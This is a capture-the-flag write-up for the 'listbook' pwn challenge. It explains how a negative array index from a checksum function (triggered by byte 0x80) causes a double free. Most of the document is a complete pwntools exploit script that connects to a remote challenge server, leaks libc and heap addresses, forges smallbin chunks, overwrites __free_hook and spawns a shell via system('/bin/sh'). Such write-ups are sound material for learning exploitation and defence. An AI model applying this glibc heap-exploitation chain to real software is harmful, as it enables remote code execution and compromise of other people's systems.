Tags: array overflow 

Rating:

listbook

The function get_index ( .text:000000000000134C ) may get a minus value so that array overflow will happen to this program.

int __fastcall get_index(node *this, int name_len)
{
  char v3; // [rsp+17h] [rbp-5h]
  char v4; // [rsp+17h] [rbp-5h]
  int i; // [rsp+18h] [rbp-4h]

  v3 = 0;
  for ( i = 0; i < name_len; ++i )
    v3 += this->name[i];
  v4 = abs8(v3);
  if ( v4 > 15 )
    v4 %= 16;
  return v4;
}

When '\x80' is inputed, get_index() will get a special minus value which assigns new_node to the global_sign[0], it can lead to double free.

void __fastcall add()
{
  int index; // [rsp+4h] [rbp-Ch]
  node *new_node; // [rsp+8h] [rbp-8h]

  printf("name>");
  new_node = (node *)malloc(0x20uLL);
  memset(new_node, 0, sizeof(node));
  read_n(new_node->name, 16);
  new_node->content = (char *)malloc(512uLL);
  printf("content>");
  read_n(new_node->content, 512);
  index = get_index(new_node, 16);
  if ( global_sign[index] )
    new_node->next = (node *)global_ptr[index];
  global_ptr[index] = new_node;
  global_sign[index] = 1;
  puts("done");
}

Exploit it by double free.

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file)
sh = remote('111.186.58.249', 20001)

def add(name, content):
    sh.sendlineafter('>>', '1')
    sh.sendafter('name>', name)
    sh.sendafter('content>', content)
def delete(index):
    sh.sendlineafter('>>', '2')
    sh.sendlineafter('index>', str(index))
def show(index):
    sh.sendlineafter('>>', '3')
    sh.sendlineafter('index>', str(index))

for i in range(7):
    add(chr(0x01) + '\n', 'a\n')
add(chr(0x00) + '\n', 'a\n')
add(chr(0x02) + '\n', 'a\n')
add(chr(0x03) + '\n', 'a\n')
delete(1)
delete(2)
delete(0)

# UAF to leak libc address
add(chr(0x80) + '\n', 'a\n')
show(0)
sh.recvuntil(' => ')

libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ebde0
success("libc_addr: " + hex(libc_addr))

# Leak heap address
add(chr(0x04) + '\n', 'a\n')
delete(0)
delete(0x4)
add(chr(0x80) + '\n', 'a\n')
show(0)
sh.recvuntil(' => ')
heap_addr = u64(sh.recvn(6) + b'\0\0') - 0x750
success("heap_addr: " + hex(heap_addr))

# UAF to forge smallbins for structuring heap overlap
add(chr(0x04) + '\n', 'a\n')
delete(0)
add(chr(0x04) + '\n', p64(libc_addr + 0x1ebde0) + p64(heap_addr + 0xcd0) + b'\n')
for i in range(2):
    add(chr(0x04) + '\n', 'a\n')
add(chr(0x05) + '\n', b'\0' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0x1280) + p64(heap_addr + 0xf10) + b'\n')
add(chr(0x06) + '\n', b'\0' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0xcd0) + p64(libc_addr + 0x1ebde0) + b'\n')
add(chr(0x07) + '\n', 'a\n') # 0x2050
add(chr(0x08) + '\n', '/bin/sh\n')
add(chr(0x09) + '\n', 'a\n')

# Use heap overlap to hijack tcache and __free_hook, finally call system("/bin/sh")
delete(7)
delete(9)
add(chr(0x09) + '\n', b'd' * 0x130 + p64(libc_addr + 0x1eeb28) + b'\n')
add(chr(0x10) + '\n', 'a\n')
add(chr(0x11) + '\n', p64(libc_addr + 0x55410) + b'\n')
delete(8)

sh.interactive()
    

Author: www.xmcve.com